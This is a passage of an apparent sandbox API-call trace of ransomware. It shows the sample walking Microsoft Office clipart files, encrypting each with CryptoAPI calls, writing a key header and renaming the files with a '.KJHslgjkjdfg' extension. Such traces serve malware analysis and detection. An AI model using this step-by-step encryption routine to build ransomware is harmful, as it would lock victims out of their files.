returned 0x2f0c898 [0204.080] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.080] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.080] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.080] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.080] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.080] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.080] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.081] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.081] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.081] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.081] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.081] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x27b4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x27b4, lpOverlapped=0x0) returned 1 [0204.082] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x27c0, dwBufLen=0x27c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x27c0) returned 1 [0204.082] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.082] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x27c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x27c0, lpOverlapped=0x0) returned 1 [0204.082] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.082] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2894, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.082] SetEndOfFile (hFile=0x130) returned 1 [0204.085] GetProcessHeap () returned 0x2ef0000 [0204.085] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.085] GetProcessHeap () returned 0x2ef0000 [0204.085] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.085] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199483.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199483.wmf.kjhslgjkjdfg")) returned 1 [0204.091] CloseHandle (hObject=0x130) returned 1 [0204.091] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6dbde600, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0x5655cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6dbde600, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0x302c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0199609.WMF", cAlternateFileName="")) returned 1 [0204.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199609.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.092] GetProcessHeap () returned 0x2ef0000 [0204.092] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.092] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.093] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.093] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.095] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.095] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.095] GetProcessHeap () returned 0x2ef0000 [0204.095] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.095] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.095] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.095] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.095] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.095] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.095] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.096] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.096] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.096] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.096] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.096] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.096] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x302c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x302c, lpOverlapped=0x0) returned 1 [0204.097] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3030, dwBufLen=0x3030 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3030) returned 1 [0204.097] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.097] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3030, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3030, lpOverlapped=0x0) returned 1 [0204.097] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.097] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3104, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.098] SetEndOfFile (hFile=0x130) returned 1 [0204.100] GetProcessHeap () returned 0x2ef0000 [0204.100] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.100] GetProcessHeap () returned 0x2ef0000 [0204.100] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.100] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199609.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199609.wmf.kjhslgjkjdfg")) returned 1 [0204.101] CloseHandle (hObject=0x130) returned 1 [0204.101] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2004, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0200151.WMF", cAlternateFileName="")) returned 1 [0204.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200151.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.103] GetProcessHeap () returned 0x2ef0000 [0204.103] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.103] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.103] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.103] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0204.105] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.105] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.105] GetProcessHeap () returned 0x2ef0000 [0204.105] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.105] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.105] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.105] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.106] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.106] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.106] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.106] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.106] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.106] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.106] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.106] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.106] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2004, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2004, lpOverlapped=0x0) returned 1 [0204.107] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2010, dwBufLen=0x2010 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2010) returned 1 [0204.107] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.107] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2010, lpOverlapped=0x0) returned 1 [0204.107] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.107] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x20e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.107] SetEndOfFile (hFile=0x130) returned 1 [0204.110] GetProcessHeap () returned 0x2ef0000 [0204.110] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.110] GetProcessHeap () returned 0x2ef0000 [0204.110] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.110] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200151.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200151.wmf.kjhslgjkjdfg")) returned 1 [0204.111] CloseHandle (hObject=0x130) returned 1 [0204.111] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c0c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0200163.WMF", cAlternateFileName="")) returned 1 [0204.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200163.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.113] GetProcessHeap () returned 0x2ef0000 [0204.113] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.113] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.113] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.113] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.115] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.115] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.115] GetProcessHeap () returned 0x2ef0000 [0204.115] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.115] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.115] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.115] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.115] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.115] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.115] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.115] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.115] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.116] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.116] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.116] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.116] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1c0c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1c0c, lpOverlapped=0x0) returned 1 [0204.116] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1c10, dwBufLen=0x1c10 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1c10) returned 1 [0204.117] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.117] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1c10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1c10, lpOverlapped=0x0) returned 1 [0204.117] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.117] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1ce4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.117] SetEndOfFile (hFile=0x130) returned 1 [0204.119] GetProcessHeap () returned 0x2ef0000 [0204.119] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.119] GetProcessHeap () returned 0x2ef0000 [0204.119] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.119] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200163.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200163.wmf.kjhslgjkjdfg")) returned 1 [0204.121] CloseHandle (hObject=0x130) returned 1 [0204.121] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x14c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0200183.WMF", cAlternateFileName="")) returned 1 [0204.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200183.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.122] GetProcessHeap () returned 0x2ef0000 [0204.122] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.122] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.122] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.122] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.122] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.122] GetProcessHeap () returned 0x2ef0000 [0204.122] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.122] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.122] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.122] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.124] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.124] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.124] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, 